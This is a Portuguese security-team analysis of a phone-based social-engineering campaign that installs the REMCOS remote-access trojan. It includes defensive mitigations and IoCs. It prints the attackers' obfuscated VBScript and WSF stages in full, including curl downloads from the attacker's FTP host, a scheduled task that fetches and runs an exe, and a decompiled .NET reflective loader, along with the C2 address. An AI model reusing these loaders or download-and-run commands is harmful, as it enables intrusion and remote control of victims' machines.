Análise de campanha de Engenharia Social utilizando RAT

SoC
stolabs
Published in
18 min readAug 3, 2022

Introdução

Foi identificado pelo time de Resposta à Incidentes da Stone Co., uma campanha de engenharia social que mirava a instalação de uma cadeia de malwares nas máquinas alvo, e com base nestes malwares, realizamos um estudo sobre seu funcionamento, apresentamos os detalhes da análise ao longo deste documento. O ator foi identificado como “EquipeRAT”.

Desenvolvemos a seguinte linha do tempo deste sample a fim de demonstrar a cadeia dos processos executados pelo malware:

Cyber Kill Chain

Utilizaremos o modelo de Cyber Kill Chain para descrever a cadeia de execuções e modelos de mitigações que podem ser tomados para prevenir o impacto.

Reconnaissance

Entre as campanhas identificadas, os principais alvos são funcionários de centrais de atendimentos e relacionamento com o cliente, os agentes maliciosos utilizam números públicos para realizar o contato com os operadores.

Uma vez com um alvo selecionado, os atacantes podem utilizar ferramentas de OSINT para coletar mais informações da empresa e desenvolver um ataque mais “legítimo”.

Prevenção/Auditoria:

  • Conscientização dos colaboradores referente a ligações suspeitas solicitando acesso a máquina por canal de clientes.
  • Por mais que seja difícil identificar o ataque nesse estágio, é fundamental que o setor de telefonia possua as informações de log devidamente coletadas dos ambientes (dados como data e hora, número original da ligação, localização, atendente e etc), será mais fácil identificar o agressor, e realizar o contingenciamento de um possível ataque.

MITRE ATT&CK: T1592.002, T1593.002

Weaponization

A cadeia de execução do malware consiste na combinação de pequenos scripts (vbs, wfs e powershell) combinados com o uso de .NET Assembly, onde os scripts são responsáveis por instalar persistência e decodificar um loader para o próximo estágio, e esse loader é responsável por decodificar e carregar uma implementação de process hollowing, que por sua vez, executa o agente do RAT REMCOS, já conhecido e utilizado por diversos atores.

Prevenção/Auditoria:

  • Bloqueio dos indicadores de comprometimentos listados na tabela de IoCs no final do artigo;
  • Manter os softwares de Antivírus e EDR atualizados contra variantes do REMCOS.

MITRE ATT&CK: T1587.001, T1588.001

Delivery

A principal forma de envio do malware é por uso de software de acesso remoto, como por exemplo, AnyDesk, TeamViewer, entre outros que possuem funcionalidades semelhantes.

Prevenção/Auditoria:

  • Definir procedimentos de assistência remota na sua instituição, desta forma, tentativas de ataque utilizando engenharia social não terão tanta efetividade, pois os colaboradores estarão cientes dos procedimentos oficiais;
  • Definir software específico para ser utilizado durante qualquer acesso remoto que seja necessário por parte do suporte;
  • Bloquear outros softwares com essas capacidades;
  • Permitir somente o software homologado via lista de exclusão.

MITRE ATT&CK: T1204, T1566.003, T1219

Exploitation

Durante a comunicação via telefone, o atacante tenta persuadir o operador a utilizar as ferramentas de acesso remoto para conseguir acessar a máquina e executar a cadeia de instalação do malware, usando a transferência de arquivos destas ferramentas. Outro meio comum para inicializar a cadeia de execução do malware é através de e-mails contendo planilhas (.xls ou .xlsm), anexadas como um arquivo zip com a senha, sendo esta indicada no e-mail. Neste caso, o script inicial está presente em uma macro dentro desta planilha.

Prevenção/Auditoria:

  • As técnicas de engenharia social podem ser prevenidas de maneira similar a etapa de Delivery;
  • Já as técnicas de phishing podem ser detectadas e auditadas fazendo uso de regras customizadas de software EDR, onde estas são desenvolvidas para bloquear a criação de processo que interpretam scripts a partir dos softwares do Microsoft Office.

MITRE ATT&CK: T1566.001, T1566.003, T1059.001, T1059.005

Installation

Um comando via Powershell é inserido no agendador de tarefas, de forma com que ele seja executado periodicamente, onde o mesmo tenta realizar o download de um executável e executá-lo logo em seguida. Contudo, não foi possível analisar o executável pois no momento da análise o executável não estava presente na URL indicada no script que instala a persistência, e como trata-se de um ator que está ativo, acreditamos que pode ser pelo fato de estarem atualizando o esquema de persistência utilizado pelo grupo.

Prevenção/Auditoria:

  • Bloquear os indicadores de comprometimentos listados na tabela de IoCs no final do artigo.
  • Manter os softwares de Antivírus e EDR atualizados contra variantes do REMCOS.

MITRE ATT&CK: T1053.005, T1059.001, T1059.005

Command and Control

O software utilizado é o REMCOS 3.5.1 Pro, fato que indica que o ator possui a penúltima versão do software em relação as informações no próprio site da BreakSecurity, empresa que desenvolve o REMCOS.

As capacidades do agente em questão, são listadas no próprio site dos criadores e como a versão utilizada é a pro, o C2 utilizado pelo ator contempla todas as funcionalidade do REMCOS.

No momento desta análise, o servidor identificado para receber as conexões dos hosts infectados possuia o IP 200.9.155.151.

Prevenção/Auditoria: Bloquear comunicação com IP 200.9.155.151.

MITRE ATT&CK: T1573.002, T1571

Actions on Objective

Como o ator faz uso das técnicas de engenharia social e tem como objetivo instalar persistência e executar o agente do REMCOS, acreditamos que o objetivo seja de manter o acesso para possibilitar movimentação lateral na rede das empresas alvo com intuito de extrair credenciais e informações confidenciais, não somente da empresa, como também dos próprios funcionários.

MITRE ATT&CK: T1565.002, T1056.001, T1056.003,

Estágio 1 (m.vbs)

Trata-se de um script fazendo uso de técnicas de ofuscação, e também contendo inúmeras atribuições de uma string a uma variável, apenas para causar confusão, no seguinte formato:

hack = "12k4_J(@)_#*!@Y$(*!@y38912y498y3894517y23590812y3450-12390-ewfioasnjfbknsefhiajef0a9efhjq8923hr890q34897rghqfpqwefiqnefqe0f8923bfn12378ofb23fq23ofqjiwebfnqwoiufgbqf908273gh487234"
hack = "12k4_J(@)_#*!@Y$(*!@y38912y498y3894517y23590812y3450-12390-ewfioasnjfbknsefhiajef0a9efhjq8923hr890q34897rghqfpqwefiqnefqe0f8923bfn12378ofb23fq23ofqjiwebfnqwoiufgbqf908273gh487234"
hack = "12k4_J(@)_#*!@Y$(*!@y38912y498y3894517y23590812y3450-12390-ewfioasnjfbknsefhiajef0a9efhjq8923hr890q34897rghqfpqwefiqnefqe0f8923bfn12378ofb23fq23ofqjiwebfnqwoiufgbqf908273gh487234"
....

Ao remover essas linhas, resta somente a parte que implementa a execução do estágio inicial, como pode ser visto abaixo:

merda = "W#@JMIDO*(!@HWHUIAHWDcript.#@JMIDO*(!@HWHUIAHWDhell"
merda = Replace(merda,"#@JMIDO*(!@HWHUIAHWD","S")
Set a = CreateObject(merda)
tiago = "powerJK(@#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@hell $dll3 = Get-Content -Path 'C:\WindowJK(@#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@\Temp\dll3.txt'.ToJK(@#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@tring();$zhqO = $dll3;$lixo = Get-Content -Path 'C:\WindowJK(@#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@\Temp\uJK(@#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@er.txt'.ToJK(@#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@tring();$rui = $lixo.Replace('#@$','A').ToJK(@#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@tring();[Byte[]] $rOWg = [JK(@#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@yJK(@#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@tem.Convert]::FromBaJK(@#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@e64JK(@#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@tring( $zhqO );[Reflection.AJK(@#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@JK(@#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@embly]::Load($rOWg).GetType('tiago1.ClaJK(@#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@JK(@#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@1').GetMethod('Run').Invoke($null, [object[]] ($rui))"
tiago = Replace(tiago,"JK(@#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@","s")
r1 = "curl -u maJK(@awd#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ue3301@equiperaJK(@awd#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online:1230123RaJK(@awd#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@o! -o C:\Windows\JK(@awd#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@emp\dll3.JK(@awd#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@xJK(@awd#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ -O fJK(@awd#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@p://maJK(@awd#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ue3301%2540equiperaJK(@awd#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online@fJK(@awd#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@p.equiperaJK(@awd#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online/dll3.JK(@awd#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@xJK(@awd#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@"
r1 = Replace(r1,"JK(@awd#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@","t")
r2 = "curl -u maJK(@awd1#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ue3301@equiperaJK(@awd1#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online:1230123RaJK(@awd1#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@o! -o C:\Windows\JK(@awd1#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@emp\rump.JK(@awd1#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@xJK(@awd1#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ -O fJK(@awd1#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@p://maJK(@awd1#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ue3301%2540equiperaJK(@awd1#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online@fJK(@awd1#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@p.equiperaJK(@awd1#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online/rump.JK(@awd1#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@xJK(@awd1#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@"
r2 = Replace(r2,"JK(@awd1#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@","t")
r3 = "curl -u maJK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ue3301@equiperaJK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online:1230123RaJK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@o! -o C:\Windows\JK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@emp\user.JK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@xJK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ -O fJK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@p://maJK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ue3301%2540equiperaJK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online@fJK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@p.equiperaJK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online/user.JK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@xJK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@"
r3 = Replace(r3,"JK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@","t")
r4 = "curl -u maJK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ue3301@equiperaJK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online:1230123RaJK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@o! -o C:\Windows\JK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@emp\p.wsf -O fJK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@p://maJK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@ue3301%2540equiperaJK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online@fJK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@p.equiperaJK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@.online/p.wsf"
r4 = Replace(r4,"JK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@","t")
r5 = "C:\WindowJK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@\Temp\p.wJK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@f"
r5 = Replace(r5, "JK(@awd13#U!@*($Y&@*IUWDNOAIKJWDN@#!¨@$!@YHU!@", "s")
a.Run(r1),false
a.Run(r2),false
a.Run(r3),false
a.Run(r4),false
WScript.Sleep(7000)
a.Run(r5),false
a.Run(tiago),false

Como vimos, o código instância um objeto do tipo WScript.Shell para obter acesso ao método Run(), em seguida ele decodifica algumas strings as quais serão passadas para o método Run(). Nessa etapa, optamos por alterar o código comentando a execução e adicionando output para verificar os valores das variáveis r1-r5 simplesmente executando o script, segue o código alterado:

'a.Run(r1),false
WScript.stdout.write(r1 & vbCrLf)
'a.Run(r2),false
WScript.stdout.write(r2 & vbCrLf)
'a.Run(r3),false
WScript.stdout.write(r3 & vbCrLf)
'a.Run(r4),false
WScript.stdout.write(r4 & vbCrLf)
WScript.Sleep(7000)
'a.Run(r5),false
WScript.stdout.write(r5 & vbCrLf)
'a.Run(tiago),false
WScript.stdout.write(tiago & vbCrLf)

A partir da execução do código obtivemos como saída:

curl -u matue3301@equiperat.online:********** -o C:\Windows\temp\dll3.txt -O ftp://matue3301%2540equiperat.online@ftp.equiperat.online/dll3.txt
curl -u matue3301@equiperat.online:********** -o C:\Windows\temp\rump.txt -O ftp://matue3301%2540equiperat.online@ftp.equiperat.online/rump.txt
curl -u matue3301@equiperat.online:********** -o C:\Windows\temp\user.txt -O ftp://matue3301%2540equiperat.online@ftp.equiperat.online/user.txt
curl -u matue3301@equiperat.online:********** -o C:\Windows\temp\1.wsf -O ftp://matue3301%2540equiperat.online@ftp.equiperat.online/p.wsf
C:\Windows\Temp\1.wsf
powershell $dll3 = Get-Content -Path 'C:\Windows\Temp\dll3.txt'.Tostring();$zhqO = $dll3;$lixo = Get-Content -Path 'C:\Windows\Temp\user.txt'.Tostring();$rui = $lixo.Replace('#@$','A').Tostring();[Byte[]] $rOWg = [system.Convert]::FromBase64string( $zhqO );[Reflection.Assembly]::Load($rOWg).GetType('tiago1.Class1').GetMethod('Run').Invoke($null, [object[]] ($rui))

Portanto, o estágio inicial é responsável por fazer download de 4 arquivos sendo eles dll3,txt, rump.txt, user.txt e 1.wsf, todos no destino C:\windows\temp\, todos os arquivos são obtidos a partir de um mesmo servidor FTP usando as credenciais hardcoded no primeiro script, passaremos agora para a análise dos próximos estágios, que são desencadeados a partir do script inicial em suas duas últimas linhas.

Persistência (1.wfs)

O arquivo, assim como o outro, contém múltiplas linhas de caracteres que não são utilizados, talvez com o intuito de atrapalhar algum tipo de analise estática, todas como no seguinte formato:

:::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::
:::::::::::::::::::::::::::::::::::::::::::::::
...

Ao remover as linhas que não são utilizadas, resta somente a implementação do que de fato é interessante para a análise:

<job id="VBScriptJob"><script language="VBScript">
const impersonation = 3
Const HIDDEN_WINDOW = 0
Dim macaco
Dim uri1
Dim locator1
Dim MICROSOFT1
Dim objStartup1
uri1 = "'https://contadoreshbc.com/exe'"
locator1 = "Wb.ó{-@ö´ö{-(%(´óú??+*-*õðöö*\$öö?(*@*.{ø**{.ö$@õ[ð[mScripting.SWb.ó{-@ö´ö{-(%(´óú??+*-*õðöö*\$öö?(*@*.{ø**{.ö$@õ[ð[mLocator"
locator1 = Replace(locator1,".ó{-@ö´ö{-(%(´óú??+*-*õðöö*\$öö?(*@*.{ø**{.ö$@õ[ð[","e")
objStartup1 = "Win32_Proce%_õ´]{´×={@-?--*.4´{{+{{*ø(ú.%?õ?_ö{}}$]({$(./ð¨}õ%_õ´]{´×={@-?--*.4´{{+{{*ø(ú.%?õ?_ö{}}$]({$(./ð¨}õ%_õ´]{´×={@-?--*.4´{{+{{*ø(ú.%?õ?_ö{}}$]({$(./ð¨}õtartup"
objStartup1 = Replace(objStartup1,"%_õ´]{´×={@-?--*.4´{{+{{*ø(ú.%?õ?_ö{}}$]({$(./ð¨}õ","s")
MICROSOFT1 = "W/=./}%%%{]ø?ø--+&´+ö.#]+[[`õ?(#;{×/¨{/.×*?ö](*{4¨¨/4+ú_\:.ö[ó?ö*={ú.+%-:}]?ö*:;{%\×ö*;*#`_[`*}ø.+?%}n32_Process"
MICROSOFT1 = Replace(MICROSOFT1,"/=./}%%%{]ø?ø--+&´+ö.#]+[[`õ?(#;{×/¨{/.×*?ö](*{4¨¨/4+ú_\:.ö[ó?ö*={ú.+%-:}]?ö*:;{%\×ö*;*#`_[`*}ø.+?%}","i")
Set Locator = CreateObject(locator1)
Set Service = Locator.ConnectServer()
Service.Security_.ImpersonationLevel=impersonation
Set objStartup = Service.Get(objStartup1)
Set objConfig = objStartup.SpawnInstance_
Set MICROSOFT = Service.Get(MICROSOFT1)
macaco = "×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;óchta×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ók×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ó /create /×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;óc MINUTE /mo 60 /tn ""OneDrive Reporting Ta×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ó"" /tr ""\""%windir%\×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;óy×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ótem32\Window×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;óPower×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;óhell\v1.0\power×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;óhell.exe\"" -Window×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ótyle Hidden $a = wget "+uri1+" -o C:\Window×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ó\Temp\t.exe;×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ótart-×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;óleep 60;×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ótart-Proce×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ó×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ó C:\Window×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ó\Temp\t.exe"" /F"
macaco = Replace(macaco,"×%#ö-}\//}¨/}*+{+-[[\ö4*}-{*ö?*[_]\õ_ö`{¨.\/.õ%-?\-]ð:{\]-/%-/õ*.ö-/´.×;õú?.+.?öõ-/}¨/2ö+´}@@ö×ø/.;ó","s")
Error = MICROSOFT.Create(macaco, null, objConfig, intProcessID, 0, false)
</script></job>

A seguir, estamos editando o final do script onde o método Create() é chamado, e inserindo output das variáveis utilizadas, da seguinte maneira:

WScript.stdout.write(objStartup1 & vbCrLf)
WScript.stdout.write(MICROSOFT1 & vbCrLf)
WScript.stdout.write(macaco & vbCrLf)
'Error = MICROSOFT.Create(macaco, null, objConfig, intProcessID, 0, false)

Ao executar o script obtivemos como output o seguinte resultado:

Win32_Processstartup
Win32_Process
schtasks /create /sc MINUTE /mo 60 /tn "OneDrive Reporting Tas" /tr "\"%windir%\system32\WindowsPowershell\v1.0\powershell.exe\" -Windowstyle Hidden $a = wget 'https://contadoreshbc.com/exe' -o C:\Windows\Temp\t.exe;start-sleep 60;start-Process C:\Windows\Temp\t.exe" /F

Portanto sabemos que o script 1.wfs é usado apenas para instalar a persistência, utilizando assim o agendador de tarefas, com intuito de programar a execução deste comando, que realizará o download de um executável a partir da url https://contadoreshbc.com/exe, com destino para o diretório C:\windows\temp\1.exe, e o executa após 60 segundos.

Estágio 2 (dll3.txt)

Como vimos no Estágio 1, após a execução do script 1.wfs, a última ação realizada foi o acionamento do Powershell contendo todo o código necessário em uma string. Reorganizando este código, temos o seguinte resultado:

$dll3 = Get-Content -Path 'C:\Windows\Temp\dll3.txt'.Tostring();
$zhqO = $dll3;
$lixo = Get-Content -Path 'C:\Windows\Temp\user.txt'.Tostring();
$rui = $lixo.Replace('#@$','A').Tostring();
[Byte[]] $rOWg = [system.Convert]::FromBase64string( $zhqO );
[Reflection.Assembly]::Load($rOWg).GetType('tiago1.Class1').GetMethod('Run').Invoke($null, [object[]] ($rui))

Podemos observar que o arquivo dll3.txt trata-se de um .NET Assembly encodado em base64, e o script está decodificando-o, carregando na memória, e então executando o método tiago1.Class1.Run(), passando como parâmetro o conteúdo do arquivo user.txt após substituir todas ocorrências de ‘#@$’ por ‘A’, substituição essa que foi feita previamente como técnica de ofuscação.

Decodificando o arquivo e verificando seu tipo, podemos confirmar isso rapidamente:

$ base64 -d dll3.txt tiago1.dll
$ file tiago1.dll
tiago1.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows

Para observarmos o código que implementa a função chamada, nós iremos utilizar a ferramenta dotPeek, onde iremos carregar o arquivo tiago1.dll já decodificado, exatamente como ele é carregado pelo código em Powershell exibido previamente. O resultado da decompilação foi o seguinte:

namespace tiago1
{
public class Class1
{
public static void Run(string LAbWJK)
{
try
{
string s = MyProject.Computer.FileSystem.ReadAllText(Encoding.UTF8.GetString(Convert.FromBase64String("QzpcV2luZG93c1xUZW1wXHJ1bXAudHh0"))).Replace(Encoding.UTF8.GetString(Convert.FromBase64String("I0Ak")), Encoding.UTF8.GetString(Convert.FromBase64String("QQ==")));
string str1 = Encoding.UTF8.GetString(Convert.FromBase64String("QzpcV2luZG93c1xNaWNyb3NvZnQuTkVUXEZyYW1ld29yaw==")) + Encoding.UTF8.GetString(Convert.FromBase64String("XHY0LjAuMzAzMTk="));
string str2 = Encoding.UTF8.GetString(Convert.FromBase64String("XFJlZ0FzbS5leGU="));
AppDomain.CurrentDomain.Load(Convert.FromBase64String(s)).GetType(Encoding.UTF8.GetString(Convert.FromBase64String("dGlhZ28uQ2xhc3Mx"))).GetMethod(Encoding.UTF8.GetString(Convert.FromBase64String("UnVu"))).Invoke((object) null, new object[2]
{
(object) (str1 + str2),
(object) Convert.FromBase64String(LAbWJK)
});
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
ProjectData.ClearProjectError();
}
}
}
}

Decodificando as strings em base64 e deixando somente as linhas de interesse, temos o seguinte resultado:

public static void Run(string LAbWJK) {
string s = MyProject.Computer.FileSystem.ReadAllText("C:\Windows\Temp\rump.txt").Replace("#@$", "A"));
string str1 = Encoding.UTF8.GetString("C:\Windows\Microsoft.NET\Framework\v4.0.30319");
string str2 = Encoding.UTF8.GetString("\RegAsm.exe");
AppDomain.CurrentDomain
.Load(Convert.FromBase64String(s))
.GetType("tiago.Class1")
.GetMethod("Run")
.Invoke((object) null, new object[2]
{
(object) "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe",
(object) Convert.FromBase64String(LAbWJK)
});
}

Como pôde ser visto, o arquivo rump.txt obtido previamente é carregado em uma string, então as ocorrências da string “#@$” são substituídas por “A”, e então a string resultante é decodificada como base64, a sua sequência de bytes resultantes é usada como um .NET Assembly. Levando em conta que o parâmetro LAbWJK possui o conteúdo do user.txt, também com as ocorrências de “#@$“ substituídas por “A”, e que nesse segundo estágio, essa string também esta sendo decodificada como base64, ambos arquivos são decodificados da mesma maneira.

Para verificar o resultado obtido após o loader que implementa o segundo estágio, nós implementamos um pequeno script para decodificar os arquivos da mesma forma:

from sys import argv
import base64
with open(argv[1], "r") as entrada:
with open(argv[2], "wb") as saida:
content = entrada.read()
content = content.replace("#@$", "A")
dec = base64.b64decode(content)
saida.write(dec)

Decodificando ambos os arquivos e verificando o tipo:

$ python3.8 decode.py rump.txt rump.decoded
$ python3.8 decode.py user.txt user.decoded
$ file rump.decoded user.decoded
rump.decoded: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
user.decoded: PE32 executable (GUI) Intel 80386, for MS Windows

Utilizamos então o ClamAV para fazer uma verificação rápida nesses dois arquivos:

$ clamscan /tmp/samples/
Loading: 9s, ETA: 0s [========================>] 8.62M/8.62M sigs
Compiling: 3s, ETA: 0s [========================>] 41/41 tasks
/tmp/samples/user.decoded: Win.Trojan.Remcos-9841897-0 FOUND
/tmp/samples/rump.decoded: OK

Portanto, o arquivo user.txt contém o executável e trata-se de um agente já conhecido como o RAT REMCOS. Já o .NET Assembly contido no rump.txt, apesar de não ter dado match com nenhuma assinatura conhecida do ClamAV, é o possível responsável por realizar a execução do RAT, tendo em vista que ele recebe como parâmetro o caminho do executável RegAsm.exe legítimo do Windows, e como segundo parâmetro um vetor de bytes contendo o RAT.

Determinando IP do C2

Sabendo que o agente que realiza a conexão para permitir o controle, é o executável contido no user.txt, o qual decodificamos para user.decoded, iremos executá-lo com o debugger x64dbg e monitorar as tentativas de conexão. Como o REMCOS realiza conexão TCP diretamente, localizamos a chamada da função connect() e usamos o plugin Xanalyzer apenas para facilitar a visualização dos parâmetros.

Os dados de ip:porta passados para a função connect são definido na struct sockaddr. Reproduzindo parte da documentação, podemos notar que teremos primeiro 2 bytes representando a porta e então 4 bytes representando o IP:

Para determinar os dados de ip:porta, seguimos o valor [eax+18] no dump de memória do x64dbg, e ignoramos os dois primeiros bytes que são o campo sin_family. Na imagem a seguir estão destacados os bytes que representam a porta e o IP:

Ou seja, temos que a porta é 13BA (5050 em notação decimal) e o IP C8099B97 (200.9.155.151 em notação decimal com pontos).

Extraindo configuração do REMCOS

